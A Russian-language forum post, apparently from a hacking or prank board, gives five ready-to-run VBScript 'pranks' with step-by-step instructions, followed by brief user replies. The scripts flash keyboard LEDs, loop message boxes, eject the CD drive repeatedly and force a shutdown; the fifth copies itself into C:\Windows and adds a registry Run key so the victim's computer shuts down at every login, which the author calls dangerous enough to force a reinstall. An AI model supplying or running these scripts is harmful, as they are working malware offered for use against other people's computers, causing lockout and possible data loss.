VBS приколы.

Tomassino.

%(green)[Здрасьте. Я вам расскажу несколько приколов с VBS. Что такое VBS? ]

Из википедии:

Visual Basic Scripting Edition (обычно просто VBScript) — скриптовый язык программирования, интерпретируемый компонентом Windows Script Host. Он широко используется при создании скриптов в операционных системах семейства Microsoft Windows.

От себя:

Из vbs можно сделать от обычного безобидного прикола до опасного вируса который снесет систему.

*Первый прикол будет мигать лампочками на клаве (Которые подсвечивают Lock кнопки).
Создаем файл, форматом "название.vbs".
Открываем блокнотом, и вставляем туда следующие строки:

Open.

Set s = CreateObject("Wscript.Shell") 
do 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80

s.sendkeys"{scrolllock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80

wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
loop

Мигать будет пока не завершится процесс wscript.exe.

*Второй прикол будет бесконечно выдавать диалоговое окно с вашей надписью.
Создаем файл, форматом "название.vbs"
Открываем блокнотом, вписываем:

Open.

do 
msgbox "Текст",20,"Заголовок" 
loop

(Все что стоит после do и до loop - бесконечно.)
Вместо "20" по середине можно ввести другое число,например 1 и будет только кнопка "ок"

*Третий прикол будет открывать,закрывать дисковод с не большим интервалом
Создаем файлик, форматом "название.vbs".
Открываем блокнотом - вписываем:

Open.

Set ovladani = CreateObject("WMPlayer.OCX.7" ) 
Set mechaniky = ovladani.cdromCollection 
If mechaniky.Count Then 
For i = 0 To mechaniky.Count - 1 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject 
mechaniky.Item(i).Eject
Next 
End If

*Четвертый будет выключать комп.
Создаем файл, формат "название.vbs".
Открываем блокнотом - вписываем:

Open.

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next 
msgbox "Ваш текст, от насмешки до угрозы :): "

Можно в начало скрипта поставить WScript.Sleep 60000 и комп выключится через минуту.

*%(green)[Пятый самый опасный,вплоть до переустановки системы. Комп будет выключаться при входе в систему.
ОБЯЗАТЕЛЬНО НАЗЫВАЕМ 1.vbs!
]
Создаем файл, формат "1.vbs"
Открываем блокнотом - вписываем:

Open.

Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO 
FSO.CopyFile "1.vbs", "C:\Windows\" 'Копируем второй скрипт из текущей дирeктории на хард юзера 
Set WshShell = CreateObject("WScript.Shell") 
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "C:\Windows\1.vbs"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next 
msgbox "Ваш текст, от насмешки до угрозы :): "

P.S: С vbs можно сделать многое,советую набрать в поиске "приколы vbs" может найдете что нибудь интересное ;)

Время

Скорее всего копипаст
Но спасибо!

Под сполер засунь!

Tomassino.

**JeQaS1337** 
Скорее всего копипаст :d_old: 
Но спасибо!
+ Под сполер засунь!

пытался - бесполезно.
Первые 2 ставятся, остальные не хотят :):

Шпенат

**Нормально,нормально нормально. **

Tomassino.

**Шпенат** 
**Нормально,нормально нормально. :zlo: :d_old: **

thank you :D:

Tomassino.

Вверх.

Tomassino.

Вниз